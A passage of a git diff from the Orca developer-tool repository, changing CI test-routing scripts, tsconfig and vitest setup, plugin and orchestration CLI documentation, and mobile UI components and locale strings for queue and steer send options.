'src/renderer/src/components/diff-comments', + 'src/renderer/src/components/task-page', + 'src/main/ai-vault', + 'src/main/linear', + 'src/main/jira' + ]) { + const files = productSources(directory) + expect(files.length, directory).toBeGreaterThan(0) + for (const file of files) { + expect( + PR_FEATURE_AREA_E2E_SOURCE_ROUTES.some((route) => route.matches(file)), + file + ).toBe(true) + } + } + }) + + it('keeps any single feature directory in one changed-spec shard', () => { + for (const route of PR_FEATURE_AREA_E2E_SOURCE_ROUTES) { + expect(generalE2eShards(JSON.stringify(route.specs)), route.id).toEqual(['1/1']) + } + }) + + it('leaves unit tests and neighbouring sources alone', () => { + for (const file of [ + 'src/renderer/src/components/automations/AutomationDestinationField.test.tsx', + 'src/renderer/src/components/right-sidebar/FileExplorer.tsx', + 'src/main/linear-unrelated.ts', + 'src/renderer/src/components/settings/GeneralPane.tsx' + ]) { + expect( + PR_FEATURE_AREA_E2E_SOURCE_ROUTES.filter((route) => route.matches(file)), + file + ).toEqual([]) + } + }) +}) diff --git a/config/scripts/pr-feature-area-e2e-source-routes.mjs b/config/scripts/pr-feature-area-e2e-source-routes.mjs new file mode 100644 index 00000000000..53020e7a2fa --- /dev/null +++ b/config/scripts/pr-feature-area-e2e-source-routes.mjs @@ -0,0 +1,108 @@ +import { isUnitTestSupportSource } from './pr-code-change-scope.mjs' + +const isProductSource = (file) => !/\.test\.tsx?$/.test(file) && !isUnitTestSupportSource(file) + +const COMPONENTS = 'src/renderer/src/components/' + +/** A route for product sources under any of `prefixes` to specs that only exercise that feature. */ +function featureRoute(id, specs, prefixes) { + return { + id, + specs: specs.map((name) => `tests/e2e/${name}.spec.ts`), + matches: (file) => isProductSource(file) && prefixes.some((prefix) => file.startsWith(prefix)) + } +} + +// Feature areas whose specs the nightly suite alone used to select (gap audit, Oct 2026). +export const PR_FEATURE_AREA_E2E_SOURCE_ROUTES = [ + featureRoute( + 'feature.automations-ui', + ['automation-prompt-disclosure', 'automation-runs-dashboard'], + [`${COMPONENTS}automations/`] + ), + featureRoute('feature.feature-wall', ['feature-wall'], [`${COMPONENTS}feature-wall/`]), + featureRoute( + 'feature.sparse-checkout', + ['sparse-explorer-proof', 'sparse-preset-proof'], + [`${COMPONENTS}sparse/`] + ), + featureRoute( + 'feature.onboarding', + ['onboarding', 'onboarding-language-catalog-retry'], + [`${COMPONENTS}onboarding/`] + ), + featureRoute( + 'feature.diff-notes', + [ + 'diff-note-delete', + 'diff-note-draft', + 'diff-note-edit', + 'diff-note-layout', + 'diff-note-line-range' + ], + [`${COMPONENTS}diff-comments/`] + ), + featureRoute( + 'feature.floating-terminal', + [ + 'floating-terminal-switch-reveal', + 'floating-terminal-tab-rename-focus', + 'floating-workspace-pane-height' + ], + [`${COMPONENTS}floating-terminal/`] + ), + featureRoute( + 'feature.dictation', + ['dictation-indicator', 'voice-microphone-selection'], + [`${COMPONENTS}dictation/`, 'src/main/speech/'] + ), + featureRoute( + 'feature.ai-vault', + ['ai-vault-panel-search', 'ai-vault-session-delete'], + [ + 'src/main/ai-vault/', + 'src/main/ai-vault-search/', + `${COMPONENTS}right-sidebar/ai-vault-`, + `${COMPONENTS}right-sidebar/AiVault` + ] + ), + featureRoute( + 'feature.linear', + [ + 'linear-filter-chip-labels', + 'linear-issue-view-persistence', + 'linear-private-images', + 'linear-url-workspace-entry' + ], + [ + `${COMPONENTS}task-page/linear/`, + 'src/renderer/src/store/slices/linear/', + 'src/main/linear/', + 'src/main/ipc/linear/', + 'src/shared/linear/' + ] + ), + featureRoute( + 'feature.jira', + ['jira-panel-layout'], + [`${COMPONENTS}task-page/jira/`, 'src/main/jira/', 'src/main/ipc/jira/', 'src/shared/jira/'] + ), + featureRoute('feature.tasks-page', ['tasks-page'], [`${COMPONENTS}task-page/`]), + featureRoute( + 'feature.project-groups', + ['project-group-creation-visibility', 'project-group-manual-sort'], + ['src/main/project-groups/', 'src/renderer/src/store/project-groups/'] + ), + featureRoute('feature.usage-overview', ['usage-overview'], [`${COMPONENTS}stats/`]), + featureRoute('feature.pet', ['pet-status-segment-layout'], [`${COMPONENTS}pet/`]), + featureRoute('feature.setup-guide', ['setup-guide-sidebar'], [`${COMPONENTS}setup-guide/`]), + featureRoute( + 'feature.new-workspace', + [ + 'new-workspace-create-more', + 'new-workspace-cross-project-dialog', + 'new-workspace-linked-item-project-switch' + ], + [`${COMPONENTS}new-workspace/`] + ) +] diff --git a/config/scripts/pr-package-test-paths.mjs b/config/scripts/pr-package-test-paths.mjs index 7b2b4280d73..4c0cba56430 100644 --- a/config/scripts/pr-package-test-paths.mjs +++ b/config/scripts/pr-package-test-paths.mjs @@ -88,7 +88,6 @@ export const WINDOWS_BOUNDARY_TESTS = [ 'src/main/wsl/wsl-guest-environment.test.ts', 'src/main/wsl/wsl-executable-path.win32.test.ts', 'src/main/claude-accounts/claude-profile-history-windows.test.ts', - 'src/main/wsl/wsl-w1-w3-contract.test.ts', 'src/shared/source-scan/source-tree-scan.test.ts', 'src/main/cli/wsl-cli-powershell-boundary.test.ts', 'src/main/computer/desktop-script-runtime-host.win32.test.ts', diff --git a/config/scripts/release-cut-token-permissions.test.mjs b/config/scripts/release-cut-token-permissions.test.mjs index 494c50a2e29..c35e1ae2726 100644 --- a/config/scripts/release-cut-token-permissions.test.mjs +++ b/config/scripts/release-cut-token-permissions.test.mjs @@ -57,9 +57,6 @@ const EXPECTED_MATRIX = { [`${RELEASE_WORKFLOW}#dependency-security -> .github/workflows/dependency-security.yml#rust`]: { contents: 'read' }, - [`${RELEASE_WORKFLOW}#dependency-security -> .github/workflows/dependency-security.yml#notify`]: { - contents: 'read' - }, [`${RELEASE_WORKFLOW}#docs-production-dispatch`]: { actions: 'write' }, [`${RELEASE_WORKFLOW}#homebrew-bump`]: { contents: 'read' }, [`${RELEASE_WORKFLOW}#homebrew-bump -> .github/workflows/homebrew-bump.yml#bump-cask`]: { diff --git a/config/scripts/vitest-transform-tsconfig.test.mjs b/config/scripts/vitest-transform-tsconfig.test.mjs new file mode 100644 index 00000000000..de36bf2b9aa --- /dev/null +++ b/config/scripts/vitest-transform-tsconfig.test.mjs @@ -0,0 +1,22 @@ +import { globSync, readFileSync } from 'node:fs' +import { dirname, posix, resolve } from 'node:path' +import { expect, it } from 'vitest' + +const root = resolve(import.meta.dirname, '../..') +const references = (file) => + JSON.parse(readFileSync(resolve(root, file), 'utf8')).references.map(({ path }) => + posix.join(posix.dirname(file), path) + ) + +// Unit tests transform with this pinned solution, so a project missing from it loses its compiler options. +it('lists every project tsconfig auto-discovery would find for unit-test sources', () => { + const nested = globSync('**/tsconfig.json', { + cwd: root, + exclude: ['**/node_modules/**', 'mobile/**', 'docs/**'] + }) + .map((file) => file.replaceAll('\\', '/')) + .filter((file) => dirname(file) !== '.') + expect(references('config/tsconfig.vitest-transform.json').sort()).toEqual( + [...nested, ...references('tsconfig.json')].sort() + ) +}) diff --git a/config/tsconfig.tc.web.json b/config/tsconfig.tc.web.json index cffb1ac5fa1..d783aea2f3c 100644 --- a/config/tsconfig.tc.web.json +++ b/config/tsconfig.tc.web.json @@ -29,6 +29,14 @@ "../mobile/src/worktree/worktree-agent-child-rows.ts", "../src/packages/process-host/src/__fixtures__/**/*", "../src/main/gitlab/mappers.ts", + "../src/main/source-control/hosted-review-branch-cache.ts", + "../src/main/source-control/hosted-review-active-branch-claims.ts", + "../src/main/source-control/hosted-review-unsettled-lookups.ts", + "../src/main/source-control/hosted-review-inflight-lookups.ts", + "../src/main/source-control/hosted-review-scope-generations.ts", + "../src/main/source-control/hosted-review-lookup-backoff.ts", + "../src/main/source-control/hosted-review-refresh-pacing.ts", + "../src/main/source-control/hosted-review-provider-read.ts", "../src/main/persistence/profile-state-cutover-fixture.ts", "../src/main/runtime/sidebar-inputs/sidebar-clock.ts", "../src/main/runtime/sidebar-inputs/sidebar-retention-owner.ts", @@ -60,6 +68,9 @@ "../src/main/wsl.ts", "../src/main/wsl-interop-spawn-directory.ts", "../src/main/wsl-exe-process.ts", + "../src/main/wsl-console-running-distros.ts", + "../src/main/wsl-registered-distro-fallback.ts", + "../src/main/wsl/wsl-distro-registry-id.ts", "../src/main/persistence/applying-settings/ui-state-read.ts", "../src/main/persistence/tracking-repos/worktree-identity-migration.ts", "../src/main/persistence/tracking-repos/worktree-identity-row-repoint.ts", diff --git a/config/tsconfig.vitest-transform.json b/config/tsconfig.vitest-transform.json new file mode 100644 index 00000000000..70cf4cc8706 --- /dev/null +++ b/config/tsconfig.vitest-transform.json @@ -0,0 +1,19 @@ +{ + "files": [], + "include": [], + "compilerOptions": { "useDefineForClassFields": true }, + "references": [ + { "path": "../src/packages/process-host/tsconfig.json" }, + { "path": "../cloud/apps/connector/tsconfig.json" }, + { "path": "../cloud/apps/push/tsconfig.json" }, + { "path": "../cloud/apps/relay-fence-broker/tsconfig.json" }, + { "path": "../cloud/apps/relay/tsconfig.json" }, + { "path": "../cloud/packages/cloud-database/tsconfig.json" }, + { "path": "../cloud/packages/connector-contract/tsconfig.json" }, + { "path": "../cloud/packages/postgres-schema/tsconfig.json" }, + { "path": "../cloud/packages/push-contract/tsconfig.json" }, + { "path": "../cloud/packages/relay-contract/tsconfig.json" }, + { "path": "./tsconfig.node.json" }, + { "path": "./tsconfig.web.json" } + ] +} diff --git a/config/vitest.config.ts b/config/vitest.config.ts index 7f65f1e7476..a198622aaca 100644 --- a/config/vitest.config.ts +++ b/config/vitest.config.ts @@ -23,6 +23,8 @@ const paletteMeasurementFile = const measurementFiles = [measurementFile, paletteMeasurementFile] const phoneContractPattern = /\/mobile\/src\/.*\.(?:ts|tsx)(?:\?.*)?$/ const transforms = { + // Auto-discovery climbs past the repo for files no in-repo tsconfig owns, into an enclosing checkout. + tsconfig: resolve(import.meta.dirname, 'tsconfig.vitest-transform.json'), oxc: { exclude: [/\.js$/, phoneContractPattern] }, plugins: [ { diff --git a/docs/reference/plugin-catalog.md b/docs/reference/plugin-catalog.md index c891602c3a4..3942f5db7f6 100644 --- a/docs/reference/plugin-catalog.md +++ b/docs/reference/plugin-catalog.md @@ -55,7 +55,8 @@ The exact release the catalog vouches for. Orca refuses bytes that differ. | `types` | (`"interface-language"` \| `"app-theme"` \| `"terminal-theme"` \| `"icon-theme"` \| `"syntax"` \| `"instructions"` \| `"panel"` \| `"editor"` \| `"worker"`)[] | no | 1.4.245 | Optional; Orca derives it from `contributes` and `execution`. When present, every kind of contribution the release carries, matching its manifest exactly. `instructions` needs the `declarative` profile or higher, `panel` and `editor` need `sandboxed-ui`, and `worker` needs `trusted-worker`. Example: `["syntax"]` | | `name` | string | no | 1.4.245 | The manifest's `name`, so Orca can suggest the plugin before downloading it. Example: `"Gleam"` | | `license` | string | no | 1.4.245 | SPDX license expression. Example: `"MIT"` | -| `repository` | string | no | 1.4.245 | Source repository page, https only. Example: `"https://github.com/acme/orca-gleam-syntax"` | +| `repository` | string | no | 1.4.245 | Source repository page, https only. Orca links it when it is a github.com or gitlab.com repository of the plugin's publisher. Example: `"https://github.com/acme/orca-gleam-syntax"` | +| `sourceUnavailable` | `true` | no | 1.4.246 | Set when the release's `repository` is gone and `source` serves an archived copy, so Orca links `source` instead. Example: `true` | | `homepage` | string | no | 1.4.245 | Project homepage, https only. Example: `"https://example.com/gleam"` | | `updatedAt` | string | no | 1.4.245 | When this release was published, as an ISO 8601 date or date-time. Example: `"2026-10-20"` | | `changelog` | string | no | 1.4.245 | What changed in this release, as plain text. At most 2000 characters. Example: `"Adds highlighting for use expressions."` | diff --git a/docs/reference/plugin-themes.md b/docs/reference/plugin-themes.md index ac8d120bedc..761b40a26cb 100644 --- a/docs/reference/plugin-themes.md +++ b/docs/reference/plugin-themes.md @@ -82,3 +82,52 @@ later) in the same shape as a VS Code theme's, so most VS Code theme lists paste Colors are hex. A palette needs `background`, `foreground` and at least one ANSI color. When a user selects it, Orca saves a copy of the palette in settings so hosts, headless servers and relays answer terminal color queries without the plugin loaded. + +## Icon themes + +`contributes.iconThemes` points at a JSON file that maps files and folders to SVG icons. Paths +are relative to the plugin root. The map names match the common JSON file icon theme format. +To port such a theme, keep the keys you want and replace each value: those themes map a key +to an icon definition ID, while Orca needs the SVG file's path, which is that definition's +`iconPath`. Large themes have far more entries than the 512-mapping limit, so pick the most +common names. + +```json +{ + "schemaVersion": 1, + "icons": { + "file": "icons/file.svg", + "folder": "icons/folder.svg", + "folder-open": "icons/folder-open.svg" + }, + "fileNames": { "readme.md": "icons/readme.svg" }, + "fileExtensions": { "ts": "icons/typescript.svg", "d.ts": "icons/typescript-def.svg" }, + "folderNames": { "src": "icons/folder-src.svg", "docs": "icons/folder-docs.svg" }, + "folderNamesExpanded": { + "src": "icons/folder-src-open.svg", + "docs": "icons/folder-docs-open.svg" + } +} +``` + +- `icons` holds the generic `file`, `folder` and `folder-open` icons. +- For a file, Orca checks `fileNames`, then the longest matching `fileExtensions` key (so + `d.ts` beats `ts`), then `icons.file`. +- For a folder, Orca matches the folder's own name, not its path. A closed folder checks + `folderNames`, then `icons.folder`. An open folder checks `folderNamesExpanded`, then + `icons["folder-open"]`, then falls back like a closed folder. If you set `folder-open`, give + each named folder an expanded icon too, or it shows the generic open folder when expanded. + Orca releases up to 1.4.245 ignore `folderNames` and `folderNamesExpanded`. They show only + the generic icons, and an open folder without `folder-open` gets Orca's built-in icon. +- Keys are case-insensitive. Two keys that differ only in case are refused. Name keys can't + contain `/` or `\`, so keys qualified by a parent folder (`src/components`) are not + supported. +- These icons appear in the file explorer, Source Control, diff and conflict file trees, tabs, + Quick Open, search results and the remote folder browser. +- The theme file can be at most 64 KiB. A theme can have at most 512 mappings across all maps + and 512 distinct SVGs. Each SVG can be at most 64 KiB, and all of a theme's SVGs together at + most 4 MiB. An SVG painted only with `currentColor` takes the row's text color. Any other SVG + keeps its own colors. +- `rootFolder`, `rootFolderNames`, `languageIds` and font icons aren't supported. + Orca's explorer has no workspace-root row for a root icon. `pnpm validate:plugin` flags these + keys, and Orca skips them at runtime. diff --git a/docs/schemas/plugins/orca-catalog.v2.schema.json b/docs/schemas/plugins/orca-catalog.v2.schema.json index 6a6e4d019f9..464eda360f3 100644 --- a/docs/schemas/plugins/orca-catalog.v2.schema.json +++ b/docs/schemas/plugins/orca-catalog.v2.schema.json @@ -261,7 +261,7 @@ "pattern": "^\\(?[A-Za-z0-9][A-Za-z0-9.+-]*(?: (?:AND|OR|WITH) \\(?[A-Za-z0-9][A-Za-z0-9.+-]*\\)?)*\\)?$" }, "repository": { - "description": "Source repository page, https only.", + "description": "Source repository page, https only. Orca links it when it is a github.com or gitlab.com repository of the plugin's publisher.", "x-orca-since": "1.4.245", "examples": [ "https://github.com/acme/orca-gleam-syntax" @@ -270,6 +270,15 @@ "maxLength": 2048, "pattern": "^https:\\/\\/\\S+$" }, + "sourceUnavailable": { + "description": "Set when the release's `repository` is gone and `source` serves an archived copy, so Orca links `source` instead.", + "x-orca-since": "1.4.246", + "examples": [ + true + ], + "type": "boolean", + "const": true + }, "homepage": { "description": "Project homepage, https only.", "x-orca-since": "1.4.245", diff --git a/docs/site/content/docs/cli/orchestration.mdx b/docs/site/content/docs/cli/orchestration.mdx index be57b6d2cef..497eb481a6d 100644 --- a/docs/site/content/docs/cli/orchestration.mdx +++ b/docs/site/content/docs/cli/orchestration.mdx @@ -22,7 +22,7 @@ Use it when you need ownership, completion tracking, or a DAG. For one-off promp ## Output -Every orchestration command prints a short view by default: the IDs and state the next command needs, with the next step last. `--json` prints the same fields as one line of JSON (`{"ok":true,"result":{...}}`). `--full` prints the complete record Orca returned, as text or with `--json` as pretty JSON. A failed or unconfirmed outcome exits non-zero and writes `error: : ` to stderr. +Every orchestration command prints a short view by default: the IDs and state the next command needs, with the next step last. `--json` prints the same fields as one line of JSON (`{"ok":true,"result":{...}}`). `--full --json` prints the complete record Orca returned as pretty JSON; `--full` alone prints the longer text receipt. A failed or unconfirmed outcome exits non-zero and writes `error: : ` to stderr. ## Core model @@ -48,7 +48,7 @@ orca orchestration worker-start --task --worktree new-child --name bill orca orchestration worker-start --task --worktree current --agent claude --model --effort high ``` -`--agent` takes any Orca agent ID enabled on the worker server, for example `claude`, `codex`, `cursor`, `antigravity`, `muse`, `opencode`, or `opencode2`. `--model` accepts opaque provider model IDs for Claude, Codex, Cursor, Antigravity, Grok, and Muse (for example `--agent muse --model muse-spark-1.3`); OpenCode accepts a per-launch model only in an existing worktree, when the execution host verifies its CLI version and model availability; OpenCode effort remains unsupported. Other agents run the model from their own config. `--effort` requires `--model` and only applies when that agent/model supports the level. Neither flag can combine with `--terminal` (reuse an existing pane). Overrides apply to that launch only and show as `model` / `effort` in the start receipt (`--full` shows `launch.requested` / `launch.effective`). Federated starts need a worker host that advertises launch-preference support. +`--agent` takes any Orca agent ID enabled on the worker server, for example `claude`, `codex`, `cursor`, `antigravity`, `muse`, `opencode`, or `opencode2`. `--model` accepts opaque provider model IDs for Claude, Codex, Cursor, Antigravity, Grok, and Muse (for example `--agent muse --model muse-spark-1.3`); OpenCode accepts a per-launch model only in an existing worktree, when the execution host verifies its CLI version and model availability; OpenCode effort remains unsupported. Other agents run the model from their own config. `--effort` requires `--model` and only applies when that agent/model supports the level. Neither flag can combine with `--terminal` (reuse an existing pane). Overrides apply to that launch only and show as `model` / `effort` in the start receipt (`--full --json` shows `launch.requested` / `launch.effective`). Federated starts need a worker host that advertises launch-preference support. After starting workers, end your turn. Orca wakes the coordinator when a worker reports, asks, or stops; run the `check` command the wake gives you and handle every message it prints: @@ -80,8 +80,8 @@ orca orchestration worker-stop --dispatch # After an accepted worker_done: reuse the same terminal for a follow-up Dispatch, or release it # (archives inspectable output, then closes only that coordinator-owned agent terminal): orca orchestration worker-release --dispatch -# Keep a settled worker live for debugging when the user asked to retain it: -orca orchestration worker-retain --dispatch +# Keep a worker open after it finishes (or start it with worker-start --keep-open): +orca orchestration worker-keep-open --dispatch # retry placement is explicit — --retry-of does not inherit --on/worktree: orca orchestration worker-start --task --retry-of --worktree current --agent codex ``` @@ -115,7 +115,7 @@ orca orchestration dispatch --task --to --inject ## Messaging notes - Default `check` returns the bound Run's oldest unread mail as one Delivery (FIFO) and marks it handled. `--ack ` acknowledges a Delivery from an older Orca that does not mark it; alone it reads no new mail, and with `--wait` it then waits for and takes the next Delivery. -- `--peek` / `--all` do not consume mail and return no `deliveryId`, so they do not drain a mailbox on their own. `--all` and a Run `--peek` show at most 100 rows. To drain, repeat plain `check` until it prints `No messages.` (with `--json`, until `messages` is empty). +- `--peek` / `--all` do not consume mail and return no `deliveryId`, so they do not drain a mailbox on their own. `--all` and a Run `--peek` show at most 100 rows. To drain, repeat plain `check` until it prints `No messages.` (with `--json`, until `messages` is empty); on an older Orca that asks for `--ack `, ack each Delivery first or `check` returns it again. - Group addresses: `@all`, `@idle`, `@claude`, `@codex`, `@opencode`, `@gemini`, `@droid`, `@grok`, `@cursor`, `@worktree:` — never for `worker_done`. - Every group except `@worktree:` means the live Dispatches of the sender's own Run, delivered to their Dispatch mailboxes (or child Run mailboxes for nested coordinators). A sender in no Run is refused; `--run` must match the audience and never grants membership. - Run groups exclude their owning coordinator. A worker raising a blocker sends to `run:`. `@worktree:` includes coordinators in that workspace. diff --git a/mobile/src/components/ActionSheetModal.tsx b/mobile/src/components/ActionSheetModal.tsx index 2c4d1d011a0..85ecccb766f 100644 --- a/mobile/src/components/ActionSheetModal.tsx +++ b/mobile/src/components/ActionSheetModal.tsx @@ -1,6 +1,6 @@ import { useRef, type ReactNode } from 'react' import { ActivityIndicator, View, Text, Pressable, StyleSheet } from 'react-native' -import { Edit3, Trash2, type LucideIcon } from 'lucide-react-native' +import { Check, Edit3, Trash2, type LucideIcon } from 'lucide-react-native' import { colors, radii, spacing, typography } from '../theme/mobile-theme' import { themedStyleSheet } from '../theme/themed-styles' import { useMobileColorScheme } from '../theme/use-mobile-color-scheme' @@ -14,6 +14,8 @@ export type ActionSheetAction = { destructive?: boolean disabled?: boolean hint?: string + /** Marks the choice that is current, as a trailing check. */ + checked?: boolean loading?: boolean skipAutoClose?: boolean closeBeforePress?: boolean @@ -78,6 +80,7 @@ export function ActionSheetContent({ title, message, children, actions, onClose pressed && !action.disabled && !action.loading && styles.actionPressed ]} disabled={action.disabled || action.loading} + accessibilityState={action.checked ? { checked: true } : undefined} onPress={() => { action.onPress() if (!action.skipAutoClose && onClose) { @@ -105,6 +108,8 @@ export function ActionSheetContent({ title, message, children, actions, onClose {action.loading ? ( + ) : action.checked ? ( + ) : null} diff --git a/mobile/src/components/composer-input/ComposerSendButton.tsx b/mobile/src/components/composer-input/ComposerSendButton.tsx index 81563f76854..0732e515ec1 100644 --- a/mobile/src/components/composer-input/ComposerSendButton.tsx +++ b/mobile/src/components/composer-input/ComposerSendButton.tsx @@ -1,19 +1,25 @@ import { ActivityIndicator, Pressable } from 'react-native' -import { ArrowUp } from 'lucide-react-native' +import { ArrowUp, type LucideIcon } from 'lucide-react-native' import { colors } from '../../theme/mobile-theme' import { useMobileColorScheme } from '../../theme/use-mobile-color-scheme' import { composerInputStyles as styles } from './composer-input-styles' export function ComposerSendButton({ onPress, + onLongPress, canSend, sending = false, - label = 'Send' + label = 'Send', + icon: Icon = ArrowUp }: { onPress: () => void + /** A hold offers more ways to send; absent, a hold is a plain press. */ + onLongPress?: () => void canSend: boolean sending?: boolean label?: string + /** What a tap does when it isn't a plain send. */ + icon?: LucideIcon }): React.JSX.Element { useMobileColorScheme() const enabled = canSend && !sending @@ -30,12 +36,13 @@ export function ComposerSendButton({ pressed && enabled && styles.pressed ]} onPress={onPress} + onLongPress={onLongPress} disabled={!enabled} > {sending ? ( ) : ( - + )} ) diff --git a/mobile/src/i18n/locales/de.json b/mobile/src/i18n/locales/de.json index 0f7b0993e1c..e966da44e0b 100644 --- a/mobile/src/i18n/locales/de.json +++ b/mobile/src/i18n/locales/de.json @@ -186,7 +186,11 @@ "cancelEditing": "Bearbeitung abbrechen", "placeholder": "Frage stellen, @ für Dateiverweise, / für Befehle", "saveEditedMessage": "Bearbeitete Nachricht speichern", - "sendMessage": "Nachricht senden" + "sendMessage": "Nachricht senden", + "sendQueue": "Einreihen", + "sendSteer": "Steuern", + "sendQueueHint": "Läuft nach dem aktuellen Durchgang", + "sendSteerHint": "Fließt in das ein, was der Agent gerade tut" }, "composerAttachments": { "attachedImage": "Angehängtes Bild", diff --git a/mobile/src/i18n/locales/en.json b/mobile/src/i18n/locales/en.json index b929e198706..d7a9b6cc939 100644 --- a/mobile/src/i18n/locales/en.json +++ b/mobile/src/i18n/locales/en.json @@ -2550,7 +2550,11 @@ "placeholder": "Ask anything, @ to mention files, / for commands", "cancelEditing": "Cancel editing", "saveEditedMessage": "Save edited message", - "sendMessage": "Send message" + "sendMessage": "Send message", + "sendQueue": "Queue", + "sendSteer": "Steer", + "sendQueueHint": "Runs after the current turn", + "sendSteerHint": "Goes into what the agent is doing now" }, "composerAttachments": { "file": "File", diff --git a/mobile/src/i18n/locales/es.json b/mobile/src/i18n/locales/es.json index d64b6728863..d8a9dac93a3 100644 --- a/mobile/src/i18n/locales/es.json +++ b/mobile/src/i18n/locales/es.json @@ -190,7 +190,11 @@ "cancelEditing": "Cancelar edición", "placeholder": "Pregunta lo que quieras, @ para referenciar archivos, / para comandos", "saveEditedMessage": "Guardar mensaje editado", - "sendMessage": "Enviar mensaje" + "sendMessage": "Enviar mensaje", + "sendQueue": "Poner en cola", + "sendSteer": "Enviar ahora", + "sendQueueHint": "Se ejecuta después del turno actual", + "sendSteerHint": "Entra en lo que el agente está haciendo ahora" }, "composerAttachments": { "attachedImage": "Imagen adjunta", diff --git a/mobile/src/i18n/locales/fr.json b/mobile/src/i18n/locales/fr.json index cf5eb032b01..909ee0a6dd2 100644 --- a/mobile/src/i18n/locales/fr.json +++ b/mobile/src/i18n/locales/fr.json @@ -190,7 +190,11 @@ "cancelEditing": "Annuler la modification", "placeholder": "Posez votre question, @ pour référencer des fichiers, / pour les commandes", "saveEditedMessage": "Enregistrer le message modifié", - "sendMessage": "Envoyer le message" + "sendMessage": "Envoyer le message", + "sendQueue": "Mettre en file d’attente", + "sendSteer": "Envoyer maintenant", + "sendQueueHint": "S’exécute après le tour en cours", + "sendSteerHint": "S’ajoute à ce que l’agent fait en ce moment" }, "composerAttachments": { "attachedImage": "Image jointe", diff --git a/mobile/src/i18n/locales/ja.json b/mobile/src/i18n/locales/ja.json index cd1e8e96125..e2d349f21af 100644 --- a/mobile/src/i18n/locales/ja.json +++ b/mobile/src/i18n/locales/ja.json @@ -186,7 +186,11 @@ "cancelEditing": "編集をキャンセル", "placeholder": "何でも聞いてください。@ でファイルを参照、/ でコマンドを実行", "saveEditedMessage": "編集したメッセージを保存", - "sendMessage": "メッセージを送信" + "sendMessage": "メッセージを送信", + "sendQueue": "キューに入れる", + "sendSteer": "今すぐ送信", + "sendQueueHint": "現在のターンの後に実行します", + "sendSteerHint": "Agent が今行っている作業に加えます" }, "composerAttachments": { "attachedImage": "添付画像", diff --git a/mobile/src/i18n/locales/ko.json b/mobile/src/i18n/locales/ko.json index ec4f8c2f98a..b6dbd60b956 100644 --- a/mobile/src/i18n/locales/ko.json +++ b/mobile/src/i18n/locales/ko.json @@ -186,7 +186,11 @@ "cancelEditing": "편집 취소", "placeholder": "무엇이든 물어보세요. @로 파일 참조, /로 명령어 실행", "saveEditedMessage": "수정한 메시지 저장", - "sendMessage": "메시지 보내기" + "sendMessage": "메시지 보내기", + "sendQueue": "대기열에 추가", + "sendSteer": "지금 보내기", + "sendQueueHint": "현재 턴이 끝난 뒤 실행됩니다", + "sendSteerHint": "Agent가 지금 하고 있는 작업에 들어갑니다" }, "composerAttachments": { "attachedImage": "첨부된 이미지", diff --git a/mobile/src/i18n/locales/pt.json b/mobile/src/i18n/locales/pt.json index 198f5ce616d..59280b34be9 100644 --- a/mobile/src/i18n/locales/pt.json +++ b/mobile/src/i18n/locales/pt.json @@ -190,7 +190,11 @@ "cancelEditing": "Cancelar edição", "placeholder": "Pergunte o que quiser, @ para mencionar arquivos, / para comandos", "saveEditedMessage": "Salvar mensagem editada", - "sendMessage": "Enviar mensagem" + "sendMessage": "Enviar mensagem", + "sendQueue": "Colocar na fila", + "sendSteer": "Orientar", + "sendQueueHint": "Executa depois do turno atual", + "sendSteerHint": "Entra no que o agente está fazendo agora" }, "composerAttachments": { "attachedImage": "Imagem anexada", diff --git a/mobile/src/i18n/locales/ru.json b/mobile/src/i18n/locales/ru.json index 1eaeda11b34..f8c28ee149c 100644 --- a/mobile/src/i18n/locales/ru.json +++ b/mobile/src/i18n/locales/ru.json @@ -194,7 +194,11 @@ "cancelEditing": "Отменить редактирование", "placeholder": "Задайте вопрос; @ — файлы, / — команды", "saveEditedMessage": "Сохранить изменённое сообщение", - "sendMessage": "Отправить сообщение" + "sendMessage": "Отправить сообщение", + "sendQueue": "В очередь", + "sendSteer": "Направить", + "sendQueueHint": "Выполнится после текущего хода", + "sendSteerHint": "Попадёт в то, что агент делает сейчас" }, "composerAttachments": { "attachedImage": "Прикреплённое изображение", diff --git a/mobile/src/i18n/locales/tr.json b/mobile/src/i18n/locales/tr.json index 3816f32a5ef..a8d1f77b7cc 100644 --- a/mobile/src/i18n/locales/tr.json +++ b/mobile/src/i18n/locales/tr.json @@ -186,7 +186,11 @@ "cancelEditing": "Düzenlemeyi iptal et", "placeholder": "Bir şey sorun; dosyalara başvurmak için @, komutlar için / kullanın", "saveEditedMessage": "Düzenlenen mesajı kaydet", - "sendMessage": "Mesaj gönder" + "sendMessage": "Mesaj gönder", + "sendQueue": "Sıraya al", + "sendSteer": "Yönlendir", + "sendQueueHint": "Geçerli tur bittikten sonra çalışır", + "sendSteerHint": "Ajanın şu anda yaptığı işe katılır" }, "composerAttachments": { "attachedImage": "Ekli görsel", diff --git a/mobile/src/i18n/locales/zh-Hant.json b/mobile/src/i18n/locales/zh-Hant.json index 6e63ce2f151..3f81fd0932a 100644 --- a/mobile/src/i18n/locales/zh-Hant.json +++ b/mobile/src/i18n/locales/zh-Hant.json @@ -186,7 +186,11 @@ "cancelEditing": "取消編輯", "placeholder": "隨心輸入,@ 引用檔案,/ 使用命令", "saveEditedMessage": "儲存編輯後的訊息", - "sendMessage": "傳送訊息" + "sendMessage": "傳送訊息", + "sendQueue": "加入佇列", + "sendSteer": "引導", + "sendQueueHint": "在目前回合結束後執行", + "sendSteerHint": "加入代理程式目前正在進行的工作" }, "composerAttachments": { "attachedImage": "已附加的圖片", diff --git a/mobile/src/i18n/locales/zh.json b/mobile/src/i18n/locales/zh.json index b428ee972f2..831f878fe8f 100644 --- a/mobile/src/i18n/locales/zh.json +++ b/mobile/src/i18n/locales/zh.json @@ -186,7 +186,11 @@ "cancelEditing": "取消编辑", "placeholder": "随心输入,@ 引用文件,/ 使用命令", "saveEditedMessage": "保存编辑后的消息", - "sendMessage": "发送消息" + "sendMessage": "发送消息", + "sendQueue": "加入队列", + "sendSteer": "立即发送", + "sendQueueHint": "在当前回合结束后运行", + "sendSteerHint": "加入智能体当前正在进行的工作" }, "composerAttachments": { "attachedImage": "已添加的图片", diff --git a/mobile/src/session/MobileNativeChatOverlay.tsx b/mobile/src/session/MobileNativeChatOverlay.tsx index d4bd544bed0..6557a78902e 100644 --- a/mobile/src/session/MobileNativeChatOverlay.tsx +++ b/mobile/src/session/MobileNativeChatOverlay.tsx @@ -96,7 +96,8 @@ export function MobileNativeChatOverlay({ onResume: queued.resume, sessionKey: queued.sessionKey, // Hold steering while Stop ends the turn; use the session’s single display-status decision. - steerHeld: controller.nativeChatTurnIndicator?.stopping === true + steerHeld: controller.nativeChatTurnIndicator?.stopping === true, + agentWorking: controller.nativeChatTurnActive }, backgroundTasks: 